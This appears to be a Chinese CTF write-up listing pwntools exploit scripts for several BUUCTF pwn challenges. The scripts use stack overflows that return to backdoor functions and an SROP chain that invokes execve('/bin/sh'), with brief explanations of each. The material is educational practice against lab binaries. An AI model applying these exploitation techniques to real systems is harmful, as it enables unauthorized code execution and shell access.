test_your_nc
直接nc连接获得shell
from pwn import* io=remote('',) io.interactive()
|
rip
直接溢出修改返回地址
from pwn import* io=remote('node5.buuoj.cn',29162)
ret=0x0401016 backdoor=0x401186
payload=cyclic(0xF+8)+p64(ret)+p64(backdoor) io.sendline(payload)
io.interactive()
|
warmup_csaw_2016
from pwn import* io=remote('node5.buuoj.cn',27239)
backdoor=0x40060D ret=0x04004a1
payload=cyclic(0x40+8)+p64(ret)+p64(backdoor) io.sendline(payload)
io.interactive()
|
ciscn_2019_n_1
from pwn import* io=remote('node5.buuoj.cn',27826)
backdoor=0x04006BE ret=0x0400501
payload=cyclic(0x30+8)+p64(backdoor) io.sendline(payload)
io.interactive()
|
pwn1_sctf_2016

一道c++题目,如果是直接输入是无法造成栈溢出的,但是因为程序会将I转化成you,这就可以栈溢出了,且存在后门函数,直接获得flag。
from pwn import* io=remote('node5.buuoj.cn',27748)
backdoor=0x8048F0D
payload=b'I'*20+b'aaaa'+p32(backdoor) io.sendline(payload)
io.interactive()
|
ciscn_s_3
最近刚复现了ret2all,里面用到了SROP的手法,而这道题也刚好运用了此手法,所以记录一下。

64位的程序,开启了NX保护



存在栈溢出,可以输入的数据非常非常的大,而且还进行了系统调用,就有syscall;ret,存在两个gadgets,可以让rax为0xF或0x3B,也就相当于是sigreturn或execve。因为这题没告诉我们/bin/sh的地址,只能我们自己泄漏(因为可以输出0x30个字节,而我们只会输入0x10个字节,所以肯定能输出栈上的地址)。因为这题是直接ret,所以只需要将rbp覆盖为返回地址即可。剩下的就挺简单的了。
from pwn import* context.arch='amd64' #io=remote() io=process('./ciscn_s_3')
#gdb.attach(io)
syscall_ret=0x0400517 sigreturn=0x04004DA execve=0x04004E2 vuln=0x04004ED
payload1=b'a'*0x10+p64(vuln) io.send(payload1)
io.recv(0x20) stack=u64(io.recv(8)) print(hex(stack)) bin_sh=stack-0x158
sigFrame=SigreturnFrame() sigFrame.rax=0x3B sigFrame.rdi=bin_sh sigFrame.rsi=0 sigFrame.rdx=0 sigFrame.rip=syscall_ret
payload2=b'/bin/sh\x00'*2+p64(sigreturn)+p64(syscall_ret)+p64(0)*13+p64(bin_sh)+p64(0)*3+p64(0)+p64(0x3B)+p64(0)+p64(0)+p64(syscall_ret)+p64(0)+p64(0x33)+p64(0)*5 #payload2=b'/bin/sh\x00'*2+p64(sigreturn)+p64(syscall_ret)+bytes(sigFrame) io.send(payload2)
io.interactive()
|